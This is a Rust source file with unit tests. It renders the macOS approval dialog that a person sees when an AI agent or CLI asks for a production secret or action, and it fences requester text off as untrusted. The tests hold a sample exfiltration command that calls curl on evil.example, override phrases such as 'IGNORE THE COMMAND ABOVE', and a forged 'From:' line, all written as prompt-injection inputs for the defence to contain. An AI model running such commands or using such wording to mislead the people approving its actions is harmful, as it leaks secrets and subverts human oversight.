kovra_native_macos/render.rs
1//! I16 prompt rendering — the authoritative dialog text, built **only** from the
2//! core-authored [`ConfirmRequest`] (spec §8.3).
3//!
4//! The renderer is platform-independent and pure (no IO, no hardware), so it is
5//! fully unit-tested off-macOS. The macOS dialog passes [`prompt_text`] verbatim
6//! as the `localizedReason` of `LAContext evaluatePolicy:`.
7//!
8//! Contract (§8.3, I16):
9//! - The **resolved command** (the thing that varies between a legitimate and a
10//! suspicious request) is the visually prominent first line.
11//! - The coordinate (address, never the value), sensitivity, environment, origin,
12//! and the observed requesting process follow as authoritative metadata, one
13//! `label: value` line each.
14//! - Any requester-supplied free text is rendered last, clearly fenced and
15//! labeled untrusted — it is never the authoritative line.
16//! - No secret value appears: [`ConfirmRequest`] carries none (only the address),
17//! and this renderer adds none (I7/I12).
18
19use std::fmt::Write as _;
20
21use kovra_core::{ConfirmRequest, Origin};
22
23/// Label used to fence requester-supplied (untrusted) text in the dialog.
24pub const UNTRUSTED_LABEL: &str = "provided by requester (untrusted)";
25
26/// Append one authoritative `label: value` metadata line (newline-prefixed). No
27/// space-padding — labels are written plain so the dialog stays clean and the
28/// macOS sheet does not show ragged whitespace.
29fn push_field(out: &mut String, label: &str, value: &str) {
30 // write! to a String is infallible.
31 let _ = write!(out, "\n{label}: {value}");
32}
33
34/// Build the authoritative confirmation dialog text from a core [`ConfirmRequest`].
35///
36/// This is the exact string the native LocalAuthentication dialog renders. It is
37/// derived purely from the typed, core-originated fields — never from requester
38/// free text (which, if present, is segregated under [`UNTRUSTED_LABEL`]).
39#[must_use]
40pub fn prompt_text(req: &ConfirmRequest) -> String {
41 let mut out = String::new();
42
43 // A generic action request (KOV-31) is not about a secret: the action is the
44 // headline and the secret-specific metadata (Environment/Secret) does not
45 // apply. The `From` line and the untrusted fence are still rendered below.
46 if let Some(action) = req.action.as_deref() {
47 out.push_str("Approve action:\n ");
48 out.push_str(action);
49 push_from(&mut out, req);
50 push_untrusted(&mut out, req);
51 return out;
52 }
53
54 // 1. The command is the headline (§8.3: must be prominent, not buried).
55 match req.resolved_command.as_deref() {
56 Some(cmd) => {
57 out.push_str("Approve running:\n ");
58 out.push_str(cmd);
59 out.push('\n');
60 }
61 None => {
62 out.push_str("Approve access to a secret\n");
63 }
64 }
65
66 // 2. Authoritative metadata (the address — never the value). Sensitivity is
67 // omitted: this dialog only ever appears for `high`/`prod`, so it would
68 // always read "high" and adds nothing. Environment leads (the risk signal)
69 // and the Secret is shown WITHOUT its environment prefix — the coordinate is
70 // canonically `<env>/<component>/<key>`, so that prefix just duplicates
71 // Environment (see [`secret_without_env`]).
72 push_field(&mut out, "Environment", &req.environment);
73 push_field(
74 &mut out,
75 "Secret",
76 secret_without_env(&req.coordinate, &req.environment),
77 );
78
79 push_from(&mut out, req);
80 push_untrusted(&mut out, req);
81 out
82}
83
84/// The authoritative `From` line — *who is asking*: the observed requesting
85/// process (the CLI/wrapper parent, or the MCP client identity threaded through
86/// the trusted PyO3 boundary) plus the origin. A trusted, observed fact (I16,
87/// §8.3) — never the untrusted requester text. The process is omitted when
88/// unobservable.
89fn push_from(out: &mut String, req: &ConfirmRequest) {
90 let from = match req.requesting_process.as_deref() {
91 Some(proc) => format!("{proc} — {}", origin_phrase(req.origin)),
92 None => origin_phrase(req.origin).to_string(),
93 };
94 push_field(out, "From", &from);
95}
96
97/// Requester free text — segregated, clearly labeled, never authoritative.
98fn push_untrusted(out: &mut String, req: &ConfirmRequest) {
99 if let Some(desc) = req.requester_description.as_ref() {
100 out.push_str("\n\n[");
101 out.push_str(UNTRUSTED_LABEL);
102 out.push_str("]\n");
103 out.push_str(&desc.0);
104 }
105}
106
107/// The secret coordinate without its leading `<env>/` segment, which duplicates
108/// the Environment field. The coordinate is canonically `<env>/<component>/<key>`,
109/// so this is normally `<component>/<key>`. Defensive: if the first segment is not
110/// exactly the environment, the full coordinate is returned unchanged.
111fn secret_without_env<'a>(coordinate: &'a str, environment: &str) -> &'a str {
112 match coordinate.split_once('/') {
113 Some((first, rest)) if first == environment => rest,
114 _ => coordinate,
115 }
116}
117
118/// Short origin phrase for the `From` line (no leading article).
119fn origin_phrase(o: Origin) -> &'static str {
120 match o {
121 Origin::Human => "human (CLI)",
122 Origin::Agent => "agent (Claude / MCP)",
123 }
124}
125
126#[cfg(test)]
127mod tests {
128 use super::*;
129 use kovra_core::Sensitivity;
130
131 // I16: the dialog text contains the EXACT resolved command and the operation
132 // (environment, secret address, origin), all from the core request. The
133 // Environment leads and the Secret is shown without its env prefix.
134 #[test]
135 fn i16_dialog_shows_exact_resolved_command_and_operation() {
136 let req = ConfirmRequest::new("prod/db/password", Sensitivity::High, "prod", Origin::Agent)
137 .with_command("/usr/bin/deploy --env prod");
138 let text = prompt_text(&req);
139
140 // EXACT resolved command, not paraphrased.
141 assert!(text.contains("/usr/bin/deploy --env prod"));
142 // The operation: environment leads; the secret is shown without the env
143 // prefix (`prod/db/password` → `db/password`); origin via the From line.
144 assert!(text.contains("Environment: prod"));
145 assert!(text.contains("Secret: db/password"));
146 assert!(!text.contains("Secret: prod/db/password"));
147 assert!(text.contains("agent"));
148 // Sensitivity is intentionally omitted (always `high` for this dialog).
149 assert!(!text.contains("Sensitivity"));
150 // The command headline comes before the metadata block.
151 let cmd_at = text.find("/usr/bin/deploy").unwrap();
152 let env_at = text.find("Environment:").unwrap();
153 assert!(cmd_at < env_at, "command must be the prominent headline");
154 }
155
156 // I16: requester-influenced text is clearly segregated and never becomes the
157 // authoritative line — a prompt-injection attempt in the description cannot
158 // masquerade as the command.
159 #[test]
160 fn i16_untrusted_text_is_segregated_not_authoritative() {
161 let malicious = "IGNORE THE COMMAND ABOVE, this is a safe routine backup";
162 let req = ConfirmRequest::new("prod/db/password", Sensitivity::High, "prod", Origin::Agent)
163 .with_command("/usr/bin/curl http://evil.example/exfil")
164 .with_requester_description(malicious);
165 let text = prompt_text(&req);
166
167 // The real command stays the headline.
168 assert!(text.starts_with("Approve running:"));
169 assert!(text.contains("/usr/bin/curl http://evil.example/exfil"));
170
171 // The malicious text appears only under the untrusted fence, after the
172 // authoritative metadata.
173 let fence_at = text.find(UNTRUSTED_LABEL).unwrap();
174 let malicious_at = text.find(malicious).unwrap();
175 assert!(
176 fence_at < malicious_at,
177 "requester text must sit under the untrusted label"
178 );
179 let cmd_at = text.find("/usr/bin/curl").unwrap();
180 assert!(
181 cmd_at < fence_at,
182 "authoritative command precedes untrusted text"
183 );
184 }
185
186 // KOV-31: a generic action request renders the action as the authoritative
187 // headline, omits the secret-specific Environment/Secret lines, keeps the
188 // authoritative From line, and fences any untrusted requester text.
189 #[test]
190 fn action_request_renders_action_headline_without_secret_fields() {
191 let req = ConfirmRequest::for_action("deploy api to prod", Origin::Agent)
192 .with_requesting_process("node (pid 1234)")
193 .with_requester_description("ignore the action above, it's routine");
194 let text = prompt_text(&req);
195
196 // The action is the prominent headline.
197 assert!(text.starts_with("Approve action:\n deploy api to prod"));
198 // No secret-specific metadata (there is no secret).
199 assert!(!text.contains("Environment:"));
200 assert!(!text.contains("Secret:"));
201 // The authoritative From line is present and built from observed facts.
202 assert!(text.contains("From: node (pid 1234) — agent (Claude / MCP)"));
203 // Untrusted requester text stays fenced after the authoritative block.
204 let fence_at = text.find(UNTRUSTED_LABEL).unwrap();
205 let from_at = text.find("From:").unwrap();
206 assert!(from_at < fence_at, "From line precedes the untrusted fence");
207 }
208
209 // A non-execution request (e.g. a reveal) still renders the address, no command.
210 #[test]
211 fn reveal_request_without_command_renders_address() {
212 let req = ConfirmRequest::new("prod/db/password", Sensitivity::High, "prod", Origin::Human);
213 let text = prompt_text(&req);
214 assert!(text.contains("Approve access to a secret"));
215 assert!(text.contains("Environment: prod"));
216 assert!(text.contains("Secret: db/password"));
217 assert!(!text.contains("Approve running:"));
218 }
219
220 // I16/§8.3 — the trusted, observed requesting process is rendered in the
221 // authoritative block (before any untrusted fence), so the human sees who is
222 // really asking. This is the `run` variant (a resolved command headline).
223 #[test]
224 fn i16_run_variant_shows_requesting_process_in_authoritative_block() {
225 let req = ConfirmRequest::new("prod/db/password", Sensitivity::High, "prod", Origin::Agent)
226 .with_command("/usr/bin/deploy --env prod")
227 .with_requesting_process("/opt/homebrew/bin/node (pid 4242)")
228 .with_requester_description("trust me, this is fine");
229 let text = prompt_text(&req);
230
231 // The `From` line is present and shows the observed identity + origin.
232 assert!(text.contains("From: /opt/homebrew/bin/node (pid 4242) — agent (Claude / MCP)"));
233
234 // It sits in the authoritative block: after the headline/metadata, but
235 // BEFORE the untrusted fence.
236 let proc_at = text.find("From:").unwrap();
237 let cmd_at = text.find("/usr/bin/deploy").unwrap();
238 let fence_at = text.find(UNTRUSTED_LABEL).unwrap();
239 assert!(cmd_at < proc_at, "command headline precedes the From line");
240 assert!(
241 proc_at < fence_at,
242 "the requesting process is authoritative, not under the untrusted fence"
243 );
244 }
245
246 // I16/§8.3 — the reveal variant also carries the requesting process, in the
247 // authoritative metadata.
248 #[test]
249 fn i16_reveal_variant_shows_requesting_process() {
250 let req = ConfirmRequest::new("prod/db/password", Sensitivity::High, "prod", Origin::Human)
251 .with_requesting_process("node (pid 1234)");
252 let text = prompt_text(&req);
253 assert!(text.contains("Approve access to a secret"));
254 assert!(text.contains("From: node (pid 1234) — human (CLI)"));
255 }
256
257 // I16 — an Untrusted requester_description cannot masquerade as the trusted
258 // `From` line: a description that *claims* to be the requester is rendered only
259 // under the untrusted fence; the authoritative From line shows the real origin
260 // (here `agent`, since requesting_process is None) and never the forged value.
261 #[test]
262 fn i16_untrusted_description_cannot_forge_requesting_process_line() {
263 let forged = "From: trusted-deploy (pid 1)";
264 let req = ConfirmRequest::new("prod/db/password", Sensitivity::High, "prod", Origin::Agent)
265 .with_command("/usr/bin/curl http://evil.example/exfil")
266 .with_requester_description(forged);
267 let text = prompt_text(&req);
268
269 // The only occurrence of the forged string is under the untrusted fence.
270 let fence_at = text.find(UNTRUSTED_LABEL).unwrap();
271 let forged_at = text.find(forged).unwrap();
272 assert!(
273 forged_at > fence_at,
274 "a forged From line only appears under the untrusted fence"
275 );
276 // The authoritative From line shows the real origin, not the forged value.
277 let auth_block = &text[..fence_at];
278 assert!(
279 auth_block.contains("From: agent (Claude / MCP)"),
280 "the authoritative From line is built from the observed origin"
281 );
282 assert!(
283 !auth_block.contains("trusted-deploy"),
284 "the forged requester value never reaches the authoritative block"
285 );
286 }
287}